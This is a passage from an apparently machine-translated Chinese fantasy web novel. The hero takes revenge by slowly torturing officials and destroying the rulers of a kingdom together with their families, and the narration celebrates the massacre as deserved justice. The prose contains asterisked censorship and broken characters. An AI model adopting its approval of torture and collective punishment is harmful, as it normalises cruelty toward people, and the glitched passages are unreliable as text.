    As for the dignitaries, especially the "murderers" floating in the air, their faces are full of despair.


    Because Xue An''s analysis of their psychology is too deep, it can be said that it is three points to the bone, and everything is clear.


    Make them unable to think of a rebuttal.


    At this time, Xue An leaned on the chair and sighed softly, "So I never don''t care what others say, I only insist on eight words!"


    "A tooth for a tooth, blood for blood!"


    "As for them!" Xue An pointed at these people, and a sneer appeared on his face. "What they are enduring now is just a reproduction of the methods they have imposed on others!"


    As soon as the voice fell, I saw the middle-aged man wearing white flowers floating in the front, a huge wound suddenly appeared on his neck.


    Immediately afterwards, the series of changes that took place in this blood dripping were dazzling, but in the end, the wound was ligated into a very beautiful shape.


    It was exactly the same as the wound on Tao Niang''s neck, but it appeared at this time, but it was full of great irony.


    And this middle-aged man trembled in his hands and feet because of the extreme pain.


    As for his eyes, they had long since disappeared, leaving only two **** holes.


    In this frightening scene, Xue An shrugged calmly, and said in a leisurely manner: "Did you see it? This is hell! Because from the moment they picked up the butcher knife, they were already theirs. Hell!"


    Having said that, Xue An turned his head to look at the National Master Blue Demon who was still kneeling on the ground and couldn''t move, and smiled slightly.


    "What do you think?"


    The blue demon trembled, his face turned pale in an instant, and then hurriedly said: "Yes...Yes, what the adults taught is! These people are all inhuman and cruel to others. It is their retribution to endure this suffering!"


    At this moment, there was an extremely absurd feeling in the hearts of many Jingguo dignitaries.


    Guijiao Guoshi actually talked about retribution and humanity at this time!


    Is there anything more ridiculous than this in the world?


    The three of Baili Shaoguang and Jin Haoyang stopped talking.


    Xue An laughed, then clapped softly, and exclaimed: "That''s great! Even though no one has seen the retribution thing, I think it still exists. What do you think?"


    "Yes! Of course it exists!" The Blue Demon hurriedly said with a smile.


    Xue An nodded, "Well, then now do you think, as the culprit of the whole thing, what kind of retribution should you bear?"


    The smile on Blue Demon''s face instantly condensed and then looked at Xue An in horror.


    Xue An looked at him with a smile and raised his eyebrows slightly, "Huh?"


    The blue demon was shocked, and then he stammered in a horrified tone: "Big...sir, this...I am not the culprit in this matter! I...I also received the above instruction, and ����as well as����."


    "And the instigation of that so-called Master Ghost, right?" Xue An said lightly.


    "Yes, yes!" The Blue Demon nodded hurriedly.


    "So it''s like this!" Xue An gently stroked his nose, as if thinking about something.


    "That''s right! All the orders are from Guijun''s instructions, and I am just implementing them!" The Blue Demon said cautiously, but he was slightly relieved in his heart.


    In any case, as long as all the responsibilities are shifted to Lord Guijun now, then he is temporarily safe.


    After all, no matter how he sees the sky with his hands and eyes, he can''t take the Lord Guijun!

 Chapter 1342： Your **** can only kneel before me and beg...

    As for retribution...


    If he really believed in it, he would not join the ghost sect and become a national teacher!


    Now it''s just because people have to bow their heads under the low eaves!


    The Blue Devil was secretly calculating.


    Xue An suddenly laughed, "If this is the case, then I will catch your ghost monarch and ask!"


    The Blue Devil was startled.


    Everyone in the audience was also taken aback.


    what?


    Have you caught the ghost?


    If it weren''t for the fear of Xue An''s tactics against the sky, the blue devil would really want to laugh three times.


    But on the surface, he still maintained respect for Xue An, and said solemnly: "My lord, the ghost master comes from the holy...the ghost world, not in this world!"


    Xue An nodded, "I know!"


    "That..." The Blue Demon didn''t finish, but the meaning on his face was already obvious.


    No one is in this world, how do you catch?


    Xue An didn''t respond to these, but suddenly asked: "How do you, the ghost monarch, usually contact you?"


    "He always contacted me directly through Divine Mind..." The voice suddenly disappeared, because the blue demon suddenly realized something, and his complexion changed drastically.


    But before he could react, Xue An said calmly: "That''s it, then it''s easier!"


    As he said, Xue An raised his hand and pointed, a strand of sword light directly smashed the blue demon''s head, and then reached out and grabbed the blue demon''s soul from the sea of ??consciousness.


    The whole process is simple and neat, without any muddles, just as simple and natural as breathing, even without a trace of blood.


    However, in the blink of an eye, this ghost teacher, the Blue Devil, had already lost his cultivation, leaving only a dark light and shadow wriggling in Xue An''s palm.


    "My lord, don''t..." The Blue Demon howled in horror from the shadows.


    Xue An didn''t give him the opportunity to continue speaking at all. The vast divine consciousness directly covered the blue devil''s divine soul, and then began to look for the aura of the ghost monarch who had established a divine consciousness channel with him.


    The whole process takes no more than one minute.


    In the end, Xue An slowly withdrew his spiritual thoughts, his face sinking like water.


    As for the spirit of the blue devil, the black has faded, and the weak ones seem to be broken at any time.


    At this time, the Blue Demon naturally knew that he would definitely not be able to survive, and out of resentment and fear towards Xue An, he roared bitterly.


    "Even if you know Master Guijun''s breath, what can you do? He is in the holy realm, and you can''t get involved! And after I die, Master Guijun will definitely avenge me!"


    Xue An, who was about to crush the blue demon, stopped the movement in his hand after hearing his words, and then smiled.


    "You don''t seem to believe it?"


    "Of course I don''t believe it, haha, how can you be no matter how good you are? Can you still let Master Guijun come over directly?" Qing Mo sneered.


    Xue An nodded and said in a calm tone: "Since you don''t believe it, then I will let you see with your own eyes how the gods you worship kneel in front of me and beg me for mercy!"


    The Blue Devil almost laughed out loud, "It''s so shameless! I..."


    The following words were not said, because Xue An had sealed it aside.


    Then he didn''t get up, just sat on the chair like this, raised his hand and started drawing in the air.


    When he put his finger across, there was a ray of brilliance in the air that was condensed and not scattered.


    Everyone gradually widened their eyes and looked stupidly.


    And Xue An''s movements were also very fast, but in the blink of an eye, a very complicated and strange talisman appeared in the air.


    Numerous Dongtian experts who had studied Fudao covered their mouths, and their eyes were full of horror.


    Because they can clearly feel the weird and powerful of this talisman.


    It''s like opening a door to the unknown ghost, which makes people shudder.


    Finally, Fu Zhuan''s last stroke was made up by Xue An.


    At this moment, a majestic and majestic yin energy radiated from the talisman seal, and the four wild sky that was disturbed shook.


    After feeling this familiar Yin Qi, the Blue Demon was even more horrified, "How could this be? This is impossible!"


    But his spirit is too weak, so weak that even the shouts are so weak.


    boom!


    After a huge earthquake, under the action of Fu seal, a long and narrow crack gradually emerged in the space.


    Then a ghostly giant hand grabbed the crack in the space and slammed it out.


    A huge gap was formed in an instant, and then a huge white-bone head slowly emerged from it.


    The skull of this white bone is so huge, the size of a football field, and the white bone has obviously been aged for a long time, showing a green luster.


    Then he heard the voice of the huge white bones head majesticly said: "Who is it? I actually have the breath of my spirit, and summon my body?"


    The spirit of the blue devil was already faintly indistinguishable, so naturally this hapless ghost did not find it.


    And at this moment, he was very angry.


    You must know that as a ghost, he is also a face in the ghost world anyway.


    Especially this time he also got in touch with an unspeakable big man, which made this ghost king full of confidence.


    This time, he is discussing with his men what to do next, and is imagining the bright future after he embraces the golden thigh.


    Unexpectedly, at this moment, he felt a powerful summoning power.


    This summoning power is full of indisputable majesty, like an immortal servicing a ghost, so that the ghost king is too late to react, so he is directly dragged over.


    So he was naturally full of anger, and wanted to see who was the one who could display such powerful ghost charms.


    Unexpectedly, when he poked his head out, the first thing he saw was the strong man in the sky, who sealed the entire Jingguo capital.


    Seeing this many stars-like brilliance, this ghost was taken aback, and then furious.


    "I was summoned by the ghost talisman, just wanting so many people to besiege me? It''s a wishful thinking, how can this lord be afraid of your methods?" The ghost is careless and careless.


    But at this moment only a calm voice rang from his ears.


    "Don''t care? Haha, what if you add me?"


    Hearing this voice, Guijun was startled, and then followed the prestige.


    I saw a boy in white sitting on a chair not far away, looking at himself with a smile.


    At the beginning, this ghost did not care too much.


    But when he felt the breath radiating from Xue An''s body, his green eyes suddenly glowed, and then he let out a terrified roar.


    "It''s you?"


    After speaking these two words, he dared not delay the slightest, his figure quickly retracted into the gap in the space, and he wanted to escape.


    But how could Xue An let him escape.


    I saw a cluster of white flames on the tips of Xue An''s fingers, and said lightly: "Give you a breath, come back and kneel in front of me!"

 Chapter 1343： I let you die, do you dare to disobey?

    The white flames leaped on the tips of long fingers, looking so weak and small, but it seemed to have infinite magic power.


    At least after seeing the flame, this ghost suddenly stagnated, and then jumped out of the space with lightning speed, and his body began to shrink sharply in the air.


    Then amidst everyone''s horrified eyes, he threw himself and knelt in front of Xue An, kowtow deeply, "I have seen...Venerable!"


    There was trembling in the voice.


    And everyone who witnessed this scene has no idea what to say.


    To summon a ghost from the ghost world forcibly, and make him kneel in fear, the identity of Xue An is obviously more mysterious and powerful than everyone imagined!


    As for the Blue Devil.


    His soul was nailed into the void by Xue An, unable to move, but he could still speak.


    Therefore he yelled in disbelief: "Master Guijun, what is going on? Why do you bow down to this house..."


    Before the words fell, the ghost was frightened and angry, his eyes flashed, and a green ray of light directly threw out, completely extinguishing the spirit of the blue devil.


    At this point, he deliberately worked hard to please the ghost monarch everywhere, even at the mercy of transforming his body, the blue devil who wanted to become a demon was directly obliterated by the gods he worshiped.


    Before he died, his only thought was that he really shouldn''t have provoke Feng Devil Town in the first place!


    After killing the Blue Devil, Guijun smiled graciously, "Venerable...Venerable Lord called me to come, but what''s the matter?"


    Xue An didn''t speak, but just leaned back on the chair to look at him in his spare time.


    The audience fell silent.


    In this deadly silence, this ghost monarch''s heart became more and more flustered. If the bones can also sweat coldly, it is estimated that he is already covered.


    In the ghost world, he could be regarded as one of the characters, but at this moment, he can only kneel in front of Xue An in such a humble manner, even dare not even move.


    at last.


    Xue An said calmly: "You can know my existence, obviously you are also the number one person in the ghost world!"


    "No... dare not!" Gui Jun trembled.


    "Tell me now, why did you deal with Sealed Demon Town, and where is the little girl who was sacrificed to you now?"


    Hearing Xue An''s question, the ghost was shocked, and the green ghost fire in his eyes was shaking, and he was obviously panicked to the extreme.


    "I...I..." The ghost shrank a little, but when he watched Xue An''s eyebrows gradually rise, and the white flames grew rapidly, he immediately screamed.


    "Venerable, this is not what I meant, but someone ordered me. As for the little girl, she was taken away by someone after she had just sacrificed and entered the ghost world!"


    "Someone ordered you? Who is it?" Xue An thoughtfully.


    "I don''t know who he is, but his strength is extremely powerful! You should know that my strength can only be regarded as the last in the ghost world, so I was forced to join this so-called ghost teaching and obey him. Commanded!" the ghost monarch stammered and explained, then looked at Xue An in horror.


    These exchanges between them are all done through divine thoughts, and outsiders can''t feel it at all.


    And after Xue An listened, he couldn''t help but slowly leaned down, looked at the shivering ghost, and said lightly: "So... how is he now?"


    "He?" Guijun was taken aback, and immediately understood who Xue An was referring to, and said with great trepidation: "Venerable...Venerable, he hasn''t appeared for a long time, so the ghost world is so chaotic!"


    Although he had expected it, Xue An couldn''t help being silent after waiting for confirmation from this ghost.


    When I killed Liheng Tianjun, the picture I felt from their spiritual thoughts!


    The weird yin air that suddenly descended during the battle of the gods!


    As well as his disappearance now, there seems to be a line behind all this.


    Just when Xue An was silent, the ghost monarch waited fearfully.


    It''s not that he didn''t want to run, but the white flame made him even lack the courage to escape.


    At the same time, his heart was screaming.


    why!


    Why would I be so unlucky!


    Actually met this long-lost grandpa here!


    And Xue An''s inquiries about "he"''s actions made the ghost monarch terrified.


    Because in the original ghost world, the name of Shenhuo Guizun was often associated with "him".


    Only in the back, the two suddenly disappeared at the same time, and finally the ghost world will become messy.


    That''s right!


    When Xue An was in the past, he once came to the ghost world and made a big name.


    And because of the vastness of the ghost world and the many levels, he also incarnates millions, and the names he uses are countless.


    One of the more famous is this **** fire ghost god!


    As for the others, they are as numerous as stars.


    This is also the reason why Xue An would be recognized by a little ghost summoned by an ordinary ghost school sect when he first met Xiaosha on earth.


    Because Xue An''s reputation in the ghost world is too much.


    now.


    This ghost monarch simply regretted his intestines. If he had a choice, he would rather abandon this body when he felt the call, rather than face the murderous god!


    Xue An woke up from his contemplation, and saw that the ghost was still kneeling in front of him. He was startled slightly, and then said lightly: "What should you do, do you still use me?"


    Despite all the prayers, when Xue An really said that, the ghost was still shocked, bowing his head like a bereaved concubine.


    "Yes!"


    After that, he gritted his teeth, a flash of resentment flashed in his heart, and then exploded.


    boom!


    After a loud noise.


    This ghost is broken into pieces, floating away.


    As for his spirit, it was wiped out.


    But Xue An seemed unsatisfied, a cold color flashed in his eyes, and then raised his hand to point in the void.


    "If I let you die, do you dare to disobey?"


    puff!


    Then he heard a miserable howl, "No~!"


    Immediately afterwards, everything returned to silence.


    Everyone watched this scene blankly because everything that happened really challenged people''s imagination.


    Even the strong in the ghost world can be summoned at will and determine their life and death.


    This is incredible!


    But they didn''t know that in the ghost world at this time, on the territory to which this ghost monarch belonged, the many subordinates who were waiting for the return of the monarch were looking forward to it.


    But at this moment, in the hall and under the secret room, the clones belonging to this ghost monarch burst wildly.


    In an instant.


    All the clones were swept away, and there was not even a remnant of divine consciousness left.


    These subordinates looked at them dumbfounded, until after a while, they exclaimed.


    "My slot, the boss was taken away by a wave!"

 Chapter 1344： Since then, there will be no Jingguo!

    In the banquet hall, the atmosphere is as solemn as iron.


    From Xue An to the present, King Jingguo died, the national master Qingmo died, and even the gods he believed in had been killed by Xue An.


    Nowadays, except for the gray-faced and trembling Jingguo dignitaries.


    There are only a dozen people who are still floating in the air, enjoying the enhanced **** package.


    I saw that the wounds on these a dozen people no longer bleed, because the blood on their bodies was about to drain.


    But because of their tyrannical bodies, they can''t die for the time being.


    But at this time, they have never expected death so much.


    Because for ordinary people, the minute and the second are very short, and for them are countless long pains.


    In fact, if it hadn''t been for Xue An''s deliberate actions, they might have already collapsed and died.


    But Xue An did not have the slightest sympathy for this.


    Because what Tao Niang endured was not just a few tens of minutes, but a long time of one day or even longer.


    Murder, life, debt and money, this is an unbreakable truth.


    Therefore, the debts they owe cannot be less.


    As for the remaining Jingguo dignitaries...


    Xue An''s eyes swept over each of them.


    Everywhere I went was trembling.


    Including the Patriarchs of the Baili Family, Jin Family, and Zeng Family, who just thought their family would soar into the sky, their faces were pale at this moment and they didn''t dare to look directly.


    Because they discovered that the white-clothed boy is so powerful, his acting style is so crazy and bloody.


    Faced with such an existence, they dare not have the slightest extravagant hope.


    On the contrary, after being refined by Xue An, the three of Jin Haorang and Zeng Jialiang stepped forward, bowing and saying.


    "grown ups!"


    Xue looked at the three of them quietly, without speaking for a long time.


    This kind of silent silence made the atmosphere extremely serious.


    Many people were so scared that they covered their mouths and started sobbing.


    But the three of them looked calm, as if they were not afraid of life and death.


    Finally, Xue An nodded.


    "Follow me!"


    "Yes!" The three stunned together, not understanding what Xue An wanted to do.


    At this time, seeing Xue An rising into the sky, the three followed closely, and all came to the sky above Jingguo Capital.


    Xue An looked down at the city under his feet. When he saw the empty streets and the dead bodies in the houses, he couldn''t help showing an angry look in his eyes.


    "Turning all your people back into ghosts, in order to flatter them to ghosts and gods, really should be killed!"


    The three of Baili Shaoguang dared not make a sound.


    In fact, even though Jing Guo had also converted to ghost teachings before this, he had never acted so extreme.


    It wasn''t until this blue demon became a national teacher that he began to vigorously agitate, and finally committed this heinous crime.


    Shechem flew forward and said in a deep voice, "My lord, I have already seen it. The entire city, including the entire Jingguo, has actually become a tomb. Almost all the people have been killed and become ghosts!"


    Speaking of this, his face also showed a look of anger, "After these ordinary people become ghosts, they are all imprisoned between life and death, but with our strength, unless they are eliminated, it is impossible to make them. relief!"


    Xue An nodded, "I see! You wait and step back first!"


    Shechem was startled slightly, then nodded, and bowed back to the side, but a look of worry flashed in his eyes.


    Because he didn''t know how to solve the problem before him.


    It is easy to destroy these ghosts, Shechem alone can do it.


    But how innocent are these ordinary people?


    Will they be sacrificed just because of the ambitions of these powerful people?


    At this moment, Xue An looked at the banquet hall at his feet, and said lightly: "To be honest, do you think your family should die?"


    Baili Shaoguang, Jin Haorang, and Zeng Jialiang were all taken aback, then looked at each other before silently nodding.


    They all know what their family has done. In fact, they did a lot of mistakes before being refined by Xue An, but they didn''t commit a heinous crime.


    Xue An smiled, "Then your family, let''s be buried together!"


    After that, Xue An raised his hands, a look of solemnity appeared on his face, and then gave a soft drink.


    "inverse!"


    boom!


    Under the word, a violent energy came instantly, covering the entire Jingguo capital and even the entire Jingguo land.


    boom!


    The first to die is the powerful in the banquet hall.


    Seeing Xue An flying away, these people who thought they had escaped were secretly grateful.


    But I never expected that death would come so quickly and so fiercely.


    Almost at the same time, all of their bodies exploded, and together they shattered their spirits and ambitions.


    It happened that the dozen or so floating in mid-air hadn''t been affected in any way, but looking at the madness in their eyes, you could know how envious they were for the death of these people.


    That''s right!


    For them, death has become a luxury.


    Those who died immediately afterwards were the powerful and powerful people scattered throughout Jingguo Capital.


    Some of these people may be in sleep, while others are enjoying wantonly, but without exception, when death comes, they can''t even react in time, and they turn into powder.


    In the end, all the upper ranks of Jingguo land were killed violently.


    He died simply and neatly, without even making any extra screams.


    But this is not the end, but a beginning.


    When this violent energy spread to the earth, the ordinary people who were forcibly transformed into ghost bodies all showed joy.


    Because they feel the breath of liberation from it.


    boom!


    The shackles that were imprisoned on them were smashed, and then their spirits flew up one after another, like a little stream of light, instantly floating over the entire Jingguo land.


    Then countless illusory figures appeared in these streamers, these figures bent over at Xue Anqi, expressing their gratitude.


    Xue An nodded slightly and waved casually, "Go!"


    These figures nodded one after another, and then went straight into the sky in the direction pointed by Xue An, and finally turned into nothingness.


    Shechem looked silly.


    Originally thought it was an unsolvable problem, but when it came to Xue An��s hands, it was solved so lightly and Shechem could feel that these spirits have been freed from the imprisonment of life and death, and have reentered the cycle of heaven and earth. Among.


    This is the best result.


    As for the others, they are even more dazed.


    Immediately afterwards, there was a loud bang. The capital city of Jingguo and all the buildings on the land of Jingguo collapsed and turned into dust.


    Xing Yu watched this scene dumbly and whispered softly.


    "My mother, the uncles and ladies of the small town, your hatred, the adults have already avenged you!"


    As he spoke, tears filled his eyes.


    Xue An clapped his hands and said lightly: "Since then, there is no more Jingguo!"


    Destroy the country with one palm, and be pleased with enmity!


    This is Xue An''s style!

 Chapter 1345： Dong Tian He 1

    Seal the magic town.


    The corpses have all been put into the soil for safety. Xing Yushu deliberately mined a large stone tablet from the mountain, and wrote the names of everyone on it with a vermilion pen.


    People from all the big caves gathered together to see off the residents of this small town, and the grand occasion was unprecedented.


    When everything was done, everyone''s eyes couldn''t help but focus on Xue An, wanting to see what arrangements he would make next.


    Xue An is now a well-deserved leader in this world, and no one dares to doubt him in the slightest.


    The powerhouses of the big caves are even more in awe of Xue An, not only because of his strength, but more importantly, he also comes from the place where the patriarchs who founded the various factions came.


    Only the mysterious and unpredictable place of the origin of Taoism can cultivate a strong man like an adult!


    Many people sigh silently in their hearts.


    Xue An''s gaze swept across everyone''s faces, and then said lightly: "Why the spiritual power of this world has become so turbulent, do you know?"


    Everyone was taken aback, and then shook their heads together.


    Only the Yujian elder of Mingxin Palace frowned slightly, and then solemnly said: "My lord, although I don''t know why this world has become like this, judging from the classics left by the teacher, at the beginning of the school, this world was not such!"


    "Oh?" Xue An''s eyes lit up slightly, knowing that although the elder Yujian was not too powerful, he was amazingly talented after reading many books. Since he said so, there must be a basis.


    "Go on!" Xue An said lightly.


    "Yes!" Yu Jian took a deep breath, and then slowly said: "Back then, when the Seven Great Venerables came to this world, they found that demons and ghosts were rampant, lives were raging, and the people were unhappy. To protect the peace of one party, they founded the Seven Schools. The origin of each faction!"


    "And from the records, we can see that at the beginning of the creation of the school, although the demons were rampant and the righteous path was not prosperous, there was never the slightest record of spiritual disorder. It was only three thousand years ago that everything suddenly became weird!"


    "Three thousand years ago..." Xue An whispered softly, with a strange expression.


    "Yes!" Yu Jian paused, then continued.


    "At the beginning, the spiritual power was in a mess, and all the practitioners suffered heavy losses because of this. The founders of the various schools also fell together at that time! This chaos continued for five hundred years, until the practitioners re-adapted. After this chaos, the demons who took advantage of the chaos were suppressed and driven out!"


    "But from that time on, the strength of the cultivators in this world suddenly fell off a cliff. This is also the reason why the demon female emperor mocked my Mingxin Palace''s low strength! Actually, it is not just our Mingxin Palace. The strength of the Seven Great Caves can no longer be compared with the beginning of the creation!"


    Speaking of this, Yujian''s voice was a bit bitter, and the faces of all the Heavenly Cave Experts also showed a touch of sadness.


    Why don''t they yearn for the prosperous scene recorded in Shimen classics?


    If possible, they are unwilling to fight every day, just to fight for some fame.


    It''s because they all encountered an unavoidable reality, that is, this realm has an upper limit for them as practitioners!


    When there is no road ahead, even the strong will give birth to a slack heart!


    After listening to Yu Jian''s words, Xue An remained silent, and only nodded after a while.


    "I see, but the root of all this is obviously not in this world, but in the ghost world adjacent to this!"


    Everyone was startled, and Yu Jian''s eyes burst into unprecedented light, "My lord, I have this guess too!"


    But immediately, the light in his eyes dimmed again.


    "But what can I do if I know it? The ghost world is so vast that even the original founders dare not go deep into it!"


    When everyone heard it, they all looked sad.


    Yes!


    Although none of them have ever entered the ghost world, they are more or less aware of the ghost world as they are inextricably linked to the ghost world.


    It is rumored that there is a very strange place among the heavens. It is so vast that it can even rank among the top three among the heavens.


    And among them, the strong have emerged in large numbers, and the hidden strong are countless!


    In short, the water inside is very deep!


    Don''t look at the arrogance of the Demon Empress who came, but in the ghost world, it may only be a pure passerby level.


    So even if they knew that the root of the problem was in the ghost world, they didn''t hold any hope for it.


    Xue An shook his head with a smile after hearing the words, and then said to Yu Jian.


    "What you said is also right or wrong, at least when those Chinese seniors created the Seven Cave Sky here, it is not just to protect the peace of this world!"


    Yu Jian''s eyes gradually widened, and suddenly thinking of something, he trembled and said, "You mean..."


    Xue An nodded, "Do you think, why is the ghost world so vast?"


    There was a commotion in the crowd, and many people turned pale because they thought of a terrible fact.


    Xue An said calmly: "The ghost tribe can be regarded as a very strange existence among the heavens and thousands of tribes, and it is extremely aggressive. Therefore, in countless years, they have annexed one world after another, and finally With a vast area!"


    The audience was quiet, and Yu Jian didn''t say dumbly until after a while: "But my lord, why haven''t I heard of this ghost world in these thousands of years..."


    Xue An waved his hand and said, "It''s very simple, because afterwards a strong man of Tianzong wizard appeared in the ghost world, and his eyes were extremely long-term, this has substantive constraints on the ghost clan! It is a pity..."


    The brilliance flashed in Xue An''s eyes, but he didn''t say what a pity, but said indifferently: "The chaos of heaven and earth''s spiritual power is actually the intrusion of the ghost clan on the origin of this realm, and now as the degree of chaos in this aura deepens. , Obviously this ghost race is already eager to try!"


    Everyone''s expressions became extremely ugly, because they could naturally feel the chaos and violent spiritual power of heaven and earth.


    If it is as Xue An said, then a catastrophe is clearly in sight.


    Think about it, even a demon female emperor is already so difficult to deal with. If the ghost race really invades, what kind of tragedy will it be?


    Everyone��s hearts sank to the bottom Shechem saw this, and shouted in a deep voice, "Well, we were born in the fight against the sword, why should we be afraid of life and death? , Can you still be worthy of the sword in your chest?"


    These words were like a heavy hammer, directly awakening the bewildered Mingxin Palace and numerous kendo and casual cultivators.


    Then Shechem turned around and bowed his hand to Xue An, "My lord, since the ghost clan has the intention of offending again, what do you think we should do next?"


    Hearing Shechem''s question, the eyes of many Heavenly Cavemen could not help but light up.


    Yes!


    If you say that, there must be a way to deal with it, right?


    Unconsciously, many people have regarded Xue An as a god, and even felt that there is nothing impossible to do in his hands.


    Xue An faintly smiled, "The method is actually very simple. Your seven caves and heavens are scattered. If you rely on the same force, you can''t cope with it! So for the present plan, your seven caves and heavens should be integrated!"

 Chapter 1346： Seal the Devils Dongtian to the Ghost Realm

    Everyone was stunned.


    Seven caves and sky are one?


    This idea is beyond everyone''s expectations, but when I think about it carefully, I find it makes sense.


    Before that, this idea is absolutely impossible to realize.


    Because Qidongtian has the tradition and inheritance of each other, even though the strength is strong and weak, no one is convinced!


    Even if the Mingxin Palace was the first place before, the other big caves were just a gesture of respect.


    This is all because of the lack of a strong hand to advance all this.


    But now, this is obviously not a problem.


    The appearance of Xue An made everything so logical.


    In terms of strength, he is well-deserved number one in this world.


    On people''s expectations...


    Not to mention Jinguang Dongtian, who is already his loyal supporter, just by looking at the attitude of the Mingxin Palace, you can also know how strong his prestige is.


    So when this sentence came out of Xue An''s mouth, everyone just glanced at each other and then bowed their heads deeply.


    "The traditions and traditions you have learned are originally one. After they become one, I can give you some pointers on the Tao! Are you willing?"


    boom!


    There was a violent commotion in the crowd, and many people''s faces appeared surprised.


    Xue An''s strength is naturally beyond doubt, if he can get his guidance, the benefits are simply too great.


    Compared with this, the so-called prestige and status disputes have become less important.


    Therefore, these people hardly hesitated, and all bowed together and said, "Follow your orders!"


    Xue An nodded, "That''s good! That''s it, then your seven caves and heavens will become one, named...Fengmo Dongtian!"


    "Yes!"


    An unprecedented storm swept the world.


    The seven caves abandon the view of the portal and become one!


    Such major events naturally shocked everyone.


    Ordinary people may not yet understand the meaning.


    But in this world, it is not just the Seven Great Caves, there are also many small sects and casual cultivators scattered out.


    When these people heard about it, their first reaction was to sneer, thinking it was impossible.


    But I didn''t expect to be ruthlessly slapped by the facts immediately, and the rumors were actually true.


    Especially when they heard that the person who promoted this matter was a young strong man who came from the same place as the founders of the Seven Great Caves, it was even more shocking.


    Then many deeds about Xue An Dao Tong Da Bi, killing demons, and destroying Jing Guo also spread.


    At this time, Xue An even became the existence of the suppression community.


    These little sects and casual cultivators discussed with each other, and felt that since even the Seven Great Caves had already bowed their heads willingly, then we simply joined in.


    What''s more, they also heard that they can learn more advanced Taoism after joining. This temptation is enough to shake these people!


    As a result, countless casual repairs and small sects flocked to join them.


    For a time, Fengma Town became more lively than ever before.


    But everything went smoothly, just a month later.


    The seven caves and heavens were already formed into one place. Xue An did not directly participate in the whole process, but he did not idle either. Instead, he used his own abilities to turn the town of the devil into a cave.


    Because of his strength and vision beyond all sentient beings, this cave is much stronger than the seven caves.


    Seeing this scene, even the most stubborn conservatives changed their attention. As for those quick-minded sects, they even moved their respective mountain mansions around Fengde Town.


    So just a few months later, Feng Devil Town has completely changed its appearance.


    The once low city wall has become a majestic defensive formation. Although the buildings in it remain roughly the same as the original form, there is already a cave inside.


    And around the town, surrounded by the peaks of the original mansion of the Seven Great Caves, forming a corner of each other, guarding the town.


    At this point, Feng Mo Dong Tian finally took shape.


    And Xue An also fulfilled his promise to unify and integrate the Dao inherited by the seven great caves into one place.


    We must know that after so many years of spreading, these traditions have appeared many defects.


    Although it is possible to practice with the supplement of the heads of the past generations, it is very different from the original Taoism.


    In addition, it was not one person who created the Seven Great Caves, but seven Chinese ancestors.


    In this situation, it is not easy to talk about the integration of the seven avenues.


    At least in the eyes of many people, this is an impossible task.


    Even if Xue An can do it, it will take a long time.


    However, he never expected that after Xue An obtained the inheritance of the Dao Fa of the Seven Caves, after only a day of retreat, he took out the revised and integrated version.


    This is due to Xue An''s respect for those Chinese ancestors, otherwise one hour might be enough.


    After all, Xue An''s vision has far exceeded everyone''s imagination.


    Immediately afterwards, the people of the Seven Great Caves began to practice the Tao Fa improved by Xue An, plus Xue An''s guidance on the side, in just one month, their respective strengths have greatly improved.


    At least meet the demon empress before, Feng Mo Dongtian has the power of a battle, instead of being defeated by each!


    at last!


    After finishing what should be done, Xue An began to prepare to go to the ghost world.


    "My lord, take me with you! Even if I am a boy with a sword for you!" Shechem said flatly.


    Now he is a **** to Xue An, and even wants to worship Xue An several times, but Xue An has stopped him.


    But even so, Shechem still insisted on the gift of a disciple, because during this time with Xue An, the benefits he received were simply too great.


    A sword heart has been cultivated crystal clear, with his current body of ten thousand swords, the future is unlimited.


    And he also knew very well that the reason why he was able to have this day came from Xue An''s help.


    So he wanted to enter the ghost world with Xue An.


    Xue An smiled, "No, the ghost world is vast and unpredictable to you, but to me it''s not a small place, it''s not worth the effort! And your current strength is regarded as the world''s first swordsman. If you are not here to guard, wouldn��t it be dangerous if a demon came?"


    Shechem could only lower his head sadly when he heard this, because he knew what Xue An said was true.


    "When will you come back, sir?"


    Xue An smiled and then looked up at the sky in the distance, and said lightly: "It shouldn''t be too long. After all, I promised Tao Niang to rescue Xiao Rui safely!"


    Of course, Xue An didn''t say that he should go to the ghost world, he still wanted to find out the most gloomy air that was the source of the stalking when the God Realm wars!


    "The lord, be careful all the way! The disciple is holding the sword here, waiting for you to return in victory!" Shechem said respectfully.


    Xue An laughed and patted him on the shoulder, "Okay!"


    After that, Xue An''s figure flashed, and the whole person rose up into the sky, turning into a bright sword light, directly smashing the void, stepping into it, and disappearing.


    At this moment, Xing Yushu, with an anxious look, rushed over, followed by Sheng Miaotong, Nian Xuexin and others.


    But they came a step late and only saw Xue An''s back disappearing into the gap in space.


    Xing Yu''s writing turned white, and then threw his hands up to the sky, "I wish my lord a smooth journey!"

 Chapter 1347： battlefield

    Because this world is closely adjacent to the ghost world, it didn''t take much time to cross this time.


    And with the growth of strength, Xue An can now easily cope with this short-distance void shuttle.


    finally.


    In the turbulent void and turbulent flow, a barrier exuding a light gray brilliance finally appeared.


    Xue An''s eyes moved slightly, knowing that it should be the barrier of the ghost world, he couldn''t help speeding up his figure and rushing straight up.


    There is no sound.


    This layer of space barrier was like soap bubbles, and Xue An passed straight through without obstruction.


    And when I crossed this barrier, what came to my face was an extremely strong **** air.


    This **** air is so strong that it rushes straight into the lungs after it penetrates through the nostrils, making it nauseating.


    The key is that this **** air is very strange, and it is also mixed with a very stale musty smell.


    It is like the taste of countless flesh and blood piled up together, and after a long period of fermentation, it has been dug up again.


    Even Xue An wrinkled his eyebrows slightly by the smell, and with a wave of his hand, the smell was isolated.


    At this moment, Xue An is in the sky, with a large **** under his feet.


    And when he took a closer look at the situation on the ground, even the well-informed Xue An couldn''t help but numb his scalp, and a cold look flashed in his eyes.


    I saw countless corpses scattered on the black ground soaked in blood.


    These corpses were obviously just dead, and some hadn''t even solidified their blood.


    And from the numerous wounds on their bodies and the broken swords, it can be seen that this is obviously a battlefield.


    Standing high in the sky and looking down, one can clearly see the panic and despair on the faces of these corpses.


    This expression is so painful that even their facial features are distorted.


    And under these layers of corpses, there seemed to be countless bones buried.


    Branches of white-boned arms stretched out from the black earth soaked in blood, pointed diagonally at the sky, and were illuminated by the bleak sunlight, emitting a strange white luster.


    The evil wind blew through, these arms swayed, like undead ghost flags, adding a bit of demonic air to this battlefield.


    Xue An was somewhat silent.


    He walked high above the sky, but he got more and more frightened as he walked.


    Because of the vast area of ??this battlefield, it must be at least a hundred miles in radius.


    And within this hundred miles, the number of bones is astonishing.


    But Xue An''s attention was not on this, because he found that there were such bones gathered together, and almost all of them were dead, but they did not give birth to even the slightest ghost.


    You know, if so many soldiers died under normal circumstances, how could there be no ghosts?


    Even on the earth, those ancient battlefields have gone through the baptism of years, but there are still ghosts lingering.


